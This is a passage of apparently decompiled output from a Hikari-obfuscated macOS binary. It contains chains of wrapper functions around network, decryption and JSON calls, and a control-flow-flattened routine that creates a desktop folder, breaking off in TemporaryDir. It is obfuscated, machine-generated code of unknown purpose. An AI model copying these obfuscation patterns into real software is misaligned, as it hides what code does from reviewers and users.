//----- (0000000100019820) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2010(void *a1, const char *a2)
{
return HikariFunctionWrapper_2009(a1, a2);
}
//----- (0000000100019830) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2011(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019840) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2012(void *a1, const char *a2)
{
return HikariFunctionWrapper_2011(a1, a2);
}
//----- (0000000100019850) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2013(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019860) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2014(void *a1, const char *a2)
{
return HikariFunctionWrapper_2013(a1, a2);
}
//----- (0000000100019870) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2015(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019880) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2016(void *a1, const char *a2)
{
return HikariFunctionWrapper_2015(a1, a2);
}
//----- (0000000100019890) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2017(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000198A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2018(void *a1, const char *a2)
{
return HikariFunctionWrapper_2017(a1, a2);
}
//----- (00000001000198B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2019(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000198C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2020(void *a1, const char *a2)
{
return HikariFunctionWrapper_2019(a1, a2);
}
//----- (00000001000198D0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2021(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000198E0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2022(void *a1, const char *a2)
{
return HikariFunctionWrapper_2021(a1, a2);
}
//----- (00000001000198F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2023(void *a1, __int64 a2)
{
return postRequest(a1, a2);
}
//----- (0000000100019900) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_2024(__int64 a1)
{
return HikariFunctionWrapper_2023(a1);
}
// 1000198F0: using guessed type __int64 __fastcall HikariFunctionWrapper_2023(_QWORD);
//----- (0000000100019910) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2025(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019920) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2026(void *a1, const char *a2)
{
return HikariFunctionWrapper_2025(a1, a2);
}
//----- (0000000100019930) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2027(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019940) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2028(void *a1, const char *a2)
{
return HikariFunctionWrapper_2027(a1, a2);
}
//----- (0000000100019950) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2029(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019960) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2030(void *a1, const char *a2)
{
return HikariFunctionWrapper_2029(a1, a2);
}
//----- (0000000100019970) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2031(void *a1, double a2)
{
return decryptData(a1, a2);
}
//----- (0000000100019980) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2032(void *a1, double a2)
{
return HikariFunctionWrapper_2031(a1, a2);
}
//----- (0000000100019990) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2033(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000199A0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2034(void *a1, const char *a2)
{
return HikariFunctionWrapper_2033(a1, a2);
}
//----- (00000001000199B0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2035(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (00000001000199C0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2036(void *a1, const char *a2)
{
return HikariFunctionWrapper_2035(a1, a2);
}
//----- (00000001000199D0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2037()
{
objc_end_catch();
}
//----- (00000001000199E0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2038()
{
HikariFunctionWrapper_2037();
}
//----- (00000001000199F0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2039(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019A00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2040(void *a1, const char *a2)
{
return HikariFunctionWrapper_2039(a1, a2);
}
//----- (0000000100019A10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2041(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019A20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2042(void *a1, const char *a2)
{
return HikariFunctionWrapper_2041(a1, a2);
}
//----- (0000000100019A30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2043(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019A40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2044(void *a1, const char *a2)
{
return HikariFunctionWrapper_2043(a1, a2);
}
//----- (0000000100019A50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2045(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019A60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2046(void *a1, const char *a2)
{
return HikariFunctionWrapper_2045(a1, a2);
}
//----- (0000000100019A70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2047(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019A80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2048(void *a1, const char *a2)
{
return HikariFunctionWrapper_2047(a1, a2);
}
//----- (0000000100019A90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2049(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019AA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2050(void *a1, const char *a2)
{
return HikariFunctionWrapper_2049(a1, a2);
}
//----- (0000000100019AB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2051(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019AC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2052(void *a1, const char *a2)
{
return HikariFunctionWrapper_2051(a1, a2);
}
//----- (0000000100019AD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2053(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019AE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2054(void *a1, const char *a2)
{
return HikariFunctionWrapper_2053(a1, a2);
}
//----- (0000000100019AF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2055(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019B00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2056(void *a1, const char *a2)
{
return HikariFunctionWrapper_2055(a1, a2);
}
//----- (0000000100019B10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2057(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019B20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2058(void *a1, const char *a2)
{
return HikariFunctionWrapper_2057(a1, a2);
}
//----- (0000000100019B30) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2059()
{
objc_end_catch();
}
//----- (0000000100019B40) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2060()
{
HikariFunctionWrapper_2059();
}
//----- (0000000100019B50) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2061()
{
objc_end_catch();
}
//----- (0000000100019B60) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2062()
{
HikariFunctionWrapper_2061();
}
//----- (0000000100019B70) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2063()
{
objc_end_catch();
}
//----- (0000000100019B80) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2064()
{
HikariFunctionWrapper_2063();
}
//----- (0000000100019B90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2065(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019BA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2066(void *a1, const char *a2)
{
return HikariFunctionWrapper_2065(a1, a2);
}
//----- (0000000100019BB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2067(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019BC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2068(void *a1, const char *a2)
{
return HikariFunctionWrapper_2067(a1, a2);
}
//----- (0000000100019BD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2069(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019BE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2070(void *a1, const char *a2)
{
return HikariFunctionWrapper_2069(a1, a2);
}
//----- (0000000100019BF0) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_2071(void *a1)
{
return IsJson(a1);
}
//----- (0000000100019C00) ----------------------------------------------------
__int64 __fastcall HikariFunctionWrapper_2072(void *a1)
{
return HikariFunctionWrapper_2071(a1);
}
//----- (0000000100019C10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2073(void *a1, double a2)
{
return decryptData(a1, a2);
}
//----- (0000000100019C20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2074(void *a1, double a2)
{
return HikariFunctionWrapper_2073(a1, a2);
}
//----- (0000000100019C30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2075(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019C40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2076(void *a1, const char *a2)
{
return HikariFunctionWrapper_2075(a1, a2);
}
//----- (0000000100019C50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2077(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019C60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2078(void *a1, const char *a2)
{
return HikariFunctionWrapper_2077(a1, a2);
}
//----- (0000000100019C70) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2079(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019C80) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2080(void *a1, const char *a2)
{
return HikariFunctionWrapper_2079(a1, a2);
}
//----- (0000000100019C90) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2081()
{
objc_end_catch();
}
//----- (0000000100019CA0) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2082()
{
HikariFunctionWrapper_2081();
}
//----- (0000000100019CB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2083(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019CC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2084(void *a1, const char *a2)
{
return HikariFunctionWrapper_2083(a1, a2);
}
//----- (0000000100019CD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2085(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019CE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2086(void *a1, const char *a2)
{
return HikariFunctionWrapper_2085(a1, a2);
}
//----- (0000000100019CF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2087(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019D00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2088(void *a1, const char *a2)
{
return HikariFunctionWrapper_2087(a1, a2);
}
//----- (0000000100019D10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2089(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019D20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2090(void *a1, const char *a2)
{
return HikariFunctionWrapper_2089(a1, a2);
}
//----- (0000000100019D30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2091(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019D40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2092(void *a1, const char *a2)
{
return HikariFunctionWrapper_2091(a1, a2);
}
//----- (0000000100019D50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2093(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019D60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2094(void *a1, const char *a2)
{
return HikariFunctionWrapper_2093(a1, a2);
}
//----- (0000000100019D70) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2095()
{
objc_end_catch();
}
//----- (0000000100019D80) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2096()
{
HikariFunctionWrapper_2095();
}
//----- (0000000100019D90) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2097(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019DA0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2098(void *a1, const char *a2)
{
return HikariFunctionWrapper_2097(a1, a2);
}
//----- (0000000100019DB0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2099(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019DC0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2100(void *a1, const char *a2)
{
return HikariFunctionWrapper_2099(a1, a2);
}
//----- (0000000100019DD0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2101(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019DE0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2102(void *a1, const char *a2)
{
return HikariFunctionWrapper_2101(a1, a2);
}
//----- (0000000100019DF0) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2103(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019E00) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2104(void *a1, const char *a2)
{
return HikariFunctionWrapper_2103(a1, a2);
}
//----- (0000000100019E10) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2105(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019E20) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2106(void *a1, const char *a2)
{
return HikariFunctionWrapper_2105(a1, a2);
}
//----- (0000000100019E30) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2107(void *a1, __int64 a2)
{
return postRequest(a1, a2);
}
//----- (0000000100019E40) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2108(void *a1, __int64 a2)
{
return HikariFunctionWrapper_2107(a1, a2);
}
//----- (0000000100019E50) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2109(void *a1, const char *a2)
{
return objc_msgSend(a1, a2);
}
//----- (0000000100019E60) ----------------------------------------------------
id __fastcall HikariFunctionWrapper_2110(void *a1, const char *a2)
{
return HikariFunctionWrapper_2109(a1, a2);
}
//----- (0000000100019E70) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2111()
{
objc_end_catch();
}
//----- (0000000100019E80) ----------------------------------------------------
void __spoils<rdx,rcx,r8,r9,r10,r11,xmm4,xmm5> HikariFunctionWrapper_2112()
{
HikariFunctionWrapper_2111();
}
//----- (0000000100019E90) ----------------------------------------------------
id DesktopDir()
{
bool v0; // zf
int v1; // eax
int v2; // ecx
char v3; // cf
int v4; // ecx
id v5; // rax
char v6; // cf
int v7; // ecx
NSArray *v8; // rax
id v9; // rax
id v10; // rax
id v11; // rax
id v12; // rax
id v13; // rax
__int64 v15; // [rsp+0h] [rbp-B0h] BYREF
id v16; // [rsp+8h] [rbp-A8h]
id v17; // [rsp+10h] [rbp-A0h]
id v18; // [rsp+18h] [rbp-98h]
SEL v19; // [rsp+20h] [rbp-90h]
SEL v20; // [rsp+28h] [rbp-88h]
id v21; // [rsp+30h] [rbp-80h]
int v22; // [rsp+3Ch] [rbp-74h]
int v23; // [rsp+40h] [rbp-70h]
int v24; // [rsp+44h] [rbp-6Ch] BYREF
id v25; // [rsp+48h] [rbp-68h]
id *v26; // [rsp+50h] [rbp-60h]
id v27; // [rsp+58h] [rbp-58h]
id v28; // [rsp+60h] [rbp-50h]
id v29; // [rsp+68h] [rbp-48h]
id v30; // [rsp+70h] [rbp-40h]
bool v31; // [rsp+7Bh] [rbp-35h]
char v32; // [rsp+7Ch] [rbp-34h]
bool v33; // [rsp+7Dh] [rbp-33h]
unsigned __int8 v34; // [rsp+7Eh] [rbp-32h]
bool v35; // [rsp+7Fh] [rbp-31h]
int *v36; // [rsp+80h] [rbp-30h]
v22 = 2098153875;
v24 = -698707686;
v36 = &v24;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v24 <= -251919515 )
{
if ( v24 <= -1074501426 )
{
if ( v24 > -1819340103 )
{
if ( v24 <= -1507191297 )
{
switch ( v24 )
{
case -1819340102:
v1 = -2120350557;
goto LABEL_152;
case -1795935282:
*v36 = -637368471;
break;
case -1722349498:
v25 = v21;
v3 = 0;
v1 = -1974514238;
v4 = 677426560;
goto LABEL_138;
}
}
else if ( v24 > -1185050569 )
{
if ( v24 == -1185050568 )
{
v0 = 0;
v1 = 1831646667;
v2 = 1923095130;
goto LABEL_131;
}
if ( v24 == -1180865723 )
*v36 = 1855933322;
}
else if ( v24 == -1507191296 )
{
*v36 = -666049632;
}
else if ( v24 == -1349077055 )
{
v0 = 0;
v1 = -314391337;
v2 = 1335726594;
goto LABEL_131;
}
}
else if ( v24 <= -1974514239 )
{
switch ( v24 )
{
case -2120350557:
*v36 = -1722349498;
v21 = v30;
break;
case -2108235501:
v11 = objc_msgSend(v16, "defaultManager");
v28 = objc_retainAutoreleasedReturnValue(v11);
v19 = "fileExistsAtPath:";
*v36 = 977790834;
break;
case -1997031077:
asc_100263B30[27] = 111;
asc_100263B30[28] = 58;
asc_100263B30[29] = 32;
asc_100263B30[30] = 37;
asc_100263B30[31] = 64;
asc_100263B30[32] = 0;
*v36 = 307368621;
break;
}
}
else if ( v24 > -1870636994 )
{
if ( v24 == -1870636993 )
{
objc_release(v29);
v6 = 1;
v1 = -1870636993;
v7 = 825731941;
goto LABEL_150;
}
if ( v24 == -1824991708 )
{
strcpy(a4k4, "CodeBreakerNova");
asc_100263B30[0] = 69;
asc_100263B30[1] = 114;
asc_100263B30[2] = 114;
asc_100263B30[3] = 111;
v32 = -107;
*v36 = -783347467;
}
}
else if ( v24 == -1974514238 )
{
objc_release(v28);
objc_release(v30);
objc_release(v18);
objc_release(v17);
objc_autoreleaseReturnValue(v25);
*v36 = 677426560;
}
else if ( v24 == -1940163400 )
{
v0 = !v35;
v1 = -536208039;
v2 = -251919514;
goto LABEL_131;
}
}
else if ( v24 <= -637368472 )
{
if ( v24 <= -962409572 )
{
switch ( v24 )
{
case -1074501425:
v31 = v23 == 0;
*v36 = -1349077055;
break;
case -1020137166:
v6 = 1;
*v26 = 0;
v1 = -1020137166;
v7 = -1507191296;
goto LABEL_150;
case -988323766:
v5 = objc_msgSend(v29, v20);
objc_retainAutoreleasedReturnValue(v5);
*v36 = 852645530;
break;
}
}
else if ( v24 > -698707687 )
{
if ( v24 == -698707686 )
{
v0 = v22 == -599481625;
v1 = -344479738;
v2 = 579848546;
goto LABEL_131;
}
if ( v24 == -666049632 )
{
v34 = (unsigned __int8)HikariFunctionWrapper_245(
v28,
"createDirectoryAtPath:withIntermediateDirectories:attributes:error:");
v29 = *v26;
objc_retain(v29);
*v36 = 167500116;
}
}
else
{
if ( v24 == -962409571 )
{
v6 = 1;
v1 = 1831646667;
v7 = -1185050568;
goto LABEL_150;
}
if ( v24 == -783347467 )
{
asc_100263B30[4] = v32 - 2 * (v32 & 0x67) - 25;
asc_100263B30[5] = 32;
asc_100263B30[6] = 97;
asc_100263B30[7] = 108;
asc_100263B30[8] = 32;
asc_100263B30[9] = 99;
asc_100263B30[10] = 114;
asc_100263B30[11] = 101;
asc_100263B30[12] = 97;
asc_100263B30[13] = 114;
asc_100263B30[14] = 32;
asc_100263B30[15] = 101;
asc_100263B30[16] = 108;
asc_100263B30[17] = 32;
asc_100263B30[18] = 100;
asc_100263B30[19] = 105;
asc_100263B30[20] = 114;
asc_100263B30[21] = 101;
asc_100263B30[22] = 99;
asc_100263B30[23] = 116;
asc_100263B30[24] = 111;
asc_100263B30[25] = 114;
asc_100263B30[26] = 105;
*v36 = 840574600;
}
}
}
else if ( v24 > -344479739 )
{
if ( v24 > -313271809 )
{
if ( v24 == -313271808 )
{
v0 = !v31;
v1 = 1855933322;
v2 = -1824991708;
goto LABEL_131;
}
if ( v24 == -288095305 )
{
NSLog(
CFSTR("\xDE\xDF\tE\x1A\xE6\x03\xCC\xC0\x0E\xFBʔIm\x0F\xE4\x5F\x45\x95Ő\xF1\x34\xBE\x68\x91\xAA\x92&(\x15"),
v27);
objc_release(v27);
objc_release(v29);
v6 = 0;
v1 = 1207049327;
v7 = 24003339;
goto LABEL_150;
}
}
else if ( v24 == -344479738 )
{
*v36 = 579848546;
}
else if ( v24 == -314391337 )
{
*v36 = 1335726594;
}
}
else if ( v24 > -536208040 )
{
if ( v24 == -536208039 )
{
v6 = 0;
v1 = -1870636993;
v7 = 417738933;
goto LABEL_150;
}
if ( v24 == -446447429 )
{
*v26 = 0;
*v36 = -1020137166;
}
}
else
{
if ( v24 == -637368471 )
{
v3 = 1;
v1 = -288095305;
v4 = 24003339;
goto LABEL_138;
}
if ( v24 == -561786912 )
{
objc_retain(v30);
*v36 = 1777007490;
}
}
}
if ( v24 <= 852645529 )
break;
if ( v24 <= 1380053473 )
{
if ( v24 <= 1044627936 )
{
switch ( v24 )
{
case 852645530:
v12 = objc_msgSend(v29, v20, 3145848344LL);
v13 = objc_retainAutoreleasedReturnValue(v12);
v6 = 1;
v27 = v13;
v1 = -988323766;
v7 = -1795935282;
LABEL_150:
if ( v6 )
v1 = v7;
LABEL_152:
*v36 = v1;
break;
case 977790834:
v6 = 0;
v1 = 452612773;
v7 = 436786716;
goto LABEL_150;
case 979828224:
v0 = !v33;
v1 = 1708394840;
v2 = 144432891;
goto LABEL_131;
}
}
else if ( v24 > 1207049326 )
{
if ( v24 == 1207049327 )
{
*v36 = -1722349498;
v21 = 0;
}
else if ( v24 == 1335726594 )
{
v6 = 0;
v1 = -313271808;
v7 = -314391337;
goto LABEL_150;
}
}
else
{
if ( v24 == 1044627937 )
{
v6 = 1;
v1 = -988323766;
v7 = 852645530;
goto LABEL_150;
}
if ( v24 == 1142209712 )
*v36 = 1380053474;
}
}
else if ( v24 > 1777007489 )
{
if ( v24 > 1855933321 )
{
if ( v24 == 1855933322 )
{
dword_10029F21C = 1;
v26 = (id *)(&v15 - 2);
v8 = NSSearchPathForDirectoriesInDomains(NSDesktopDirectory, 1u, 1);
v17 = objc_retainAutoreleasedReturnValue(v8);
v9 = objc_msgSend(v17, "firstObject");
v18 = objc_retainAutoreleasedReturnValue(v9);
v10 = objc_msgSend(
v18,
"stringByAppendingPathComponent:",
CFSTR("4K4\xC8\x43\xA6T\b\x99\x88k#\xD1\x68x\xAC"));
v30 = objc_retainAutoreleasedReturnValue(v10);
v16 = &OBJC_CLASS___NSFileManager;
*v36 = -2108235501;
}
else if ( v24 == 1923095130 )
{
*v36 = 1708394840;
}
}
else if ( v24 == 1777007490 )
{
objc_retain(v30);
*v36 = 1142209712;
}
else if ( v24 == 1831646667 )
{
*v36 = -1185050568;
}
}
else if ( v24 > 1653875892 )
{
if ( v24 == 1653875893 )
{
v35 = v34 == 0;
v3 = 0;
v1 = 749257840;
v4 = -1940163400;
goto LABEL_138;
}
if ( v24 == 1708394840 )
{
v3 = 0;
v1 = -561786912;
v4 = 1777007490;
goto LABEL_138;
}
}
else
{
if ( v24 == 1380053474 )
{
v0 = 0;
v1 = -23374497;
v2 = -1819340102;
LABEL_131:
if ( !v0 )
v1 = v2;
goto LABEL_152;
}
if ( v24 == 1601018228 )
*v36 = -1074501425;
}
}
if ( v24 <= 436786715 )
break;
if ( v24 <= 677426559 )
{
switch ( v24 )
{
case 436786716:
objc_msgSend(v28, v19, v30);
*v36 = 452612773;
break;
case 452612773:
v33 = (unsigned __int8)objc_msgSend(v28, v19, v30) == 0;
v3 = 0;
v1 = 452612773;
v4 = 979828224;
LABEL_138:
if ( !v3 )
v1 = v4;
goto LABEL_152;
case 579848546:
v3 = 1;
v23 = dword_10029F21C;
v1 = 1601018228;
v4 = 579848546;
goto LABEL_138;
}
}
else if ( v24 > 825731940 )
{
if ( v24 == 825731941 )
{
*v36 = -962409571;
}
else if ( v24 == 840574600 )
{
v6 = 0;
v1 = 307368621;
v7 = -1997031077;
goto LABEL_150;
}
}
else
{
if ( v24 == 677426560 )
{
objc_release(v28);
objc_release(v30);
objc_release(v18);
objc_release(v17);
objc_autoreleaseReturnValue(v25);
v1 = 204481372;
goto LABEL_152;
}
if ( v24 == 749257840 )
*v36 = 1653875893;
}
}
if ( v24 > 167500115 )
break;
if ( v24 > 24003338 )
{
if ( v24 == 24003339 )
{
NSLog(
CFSTR("\xDE\xDF\tE\x1A\xE6\x03\xCC\xC0\x0E\xFBʔIm\x0F\xE4\x5F\x45\x95Ő\xF1\x34\xBE\x68\x91\xAA\x92&(\x15"),
v27);
objc_release(v27);
objc_release(v29);
*v36 = -288095305;
}
else if ( v24 == 144432891 )
{
v6 = 1;
v1 = -446447429;
v7 = -1020137166;
goto LABEL_150;
}
}
else if ( v24 == -251919514 )
{
v20 = "localizedDescription";
*v36 = 1044627937;
}
else if ( v24 == -23374497 )
{
*v36 = -1819340102;
}
}
if ( v24 <= 307368620 )
break;
if ( v24 == 307368621 )
{
v3 = 0;
asc_100263B30[27] = 111;
asc_100263B30[28] = 58;
asc_100263B30[29] = 32;
asc_100263B30[30] = 37;
asc_100263B30[31] = 64;
asc_100263B30[32] = 0;
v1 = -1997031077;
v4 = -1180865723;
goto LABEL_138;
}
if ( v24 == 417738933 )
{
objc_release(v29);
*v36 = -1870636993;
}
}
if ( v24 == 167500116 )
{
v1 = 1653875893;
goto LABEL_152;
}
}
while ( v24 != 204481372 );
return v25;
}
// 100263BE0: using guessed type __CFString cfstr_4k4;
// 10029F21C: using guessed type int dword_10029F21C;
//----- (000000010001B126) ----------------------------------------------------
id TemporaryDir()
{
char v0; // cf
int v1; // eax
int v2; // ecx
id v3; // rax
NSArray *v4; // rax
id v5; // rax
bool v6; // cf
int v7; // ecx
bool v8; // zf
int v9; // ecx
id v10; // rax
NSFileManager *v11; // rax
id v12; // rax
id v13; // rax
NSBundle *v14; // rax
id v15; // rax
id v16; // r15
id v17; // rax
NSString *v18; // rax
NSArray *v19; // rax
NSArray *v20; // rax
NSString *v21; // rax
NSString *v22; // rax
id v23; // rax
id v24; // r15
NSFileManager *v25; // rax
NSFileManager *v26; // rax
SEL v28; // [rsp+0h] [rbp-C0h] BYREF
NSString *v29; // [rsp+8h] [rbp-B8h]
NSString *v30; // [rsp+10h] [rbp-B0h]
id v31; // [rsp+18h] [rbp-A8h]
NSString *v32; // [rsp+20h] [rbp-A0h]
id v33; // [rsp+28h] [rbp-98h]
unsigned int v34; // [rsp+34h] [rbp-8Ch]
int v35; // [rsp+38h] [rbp-88h]
int v36; // [rsp+3Ch] [rbp-84h] BYREF
id *v37; // [rsp+40h] [rbp-80h]
id v38; // [rsp+48h] [rbp-78h]
id v39; // [rsp+50h] [rbp-70h]
id v40; // [rsp+58h] [rbp-68h]
id v41; // [rsp+60h] [rbp-60h]
id v42; // [rsp+68h] [rbp-58h]
id v43; // [rsp+70h] [rbp-50h]
id v44; // [rsp+78h] [rbp-48h]
id v45; // [rsp+80h] [rbp-40h]
bool v46; // [rsp+89h] [rbp-37h]
bool v47; // [rsp+8Ah] [rbp-36h]
bool v48; // [rsp+8Bh] [rbp-35h]
unsigned __int8 v49; // [rsp+8Ch] [rbp-34h]
bool v50; // [rsp+8Dh] [rbp-33h]
char v51; // [rsp+8Eh] [rbp-32h]
char v52; // [rsp+8Fh] [rbp-31h]
int *v53; // [rsp+90h] [rbp-30h]
v34 = 1382558120;
v36 = 1963062265;
v53 = &v36;
do
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( v36 <= 81505881 )
{
if ( v36 <= -969065872 )
{
if ( v36 <= -1894562912 )
{
if ( v36 > -2058947433 )
{
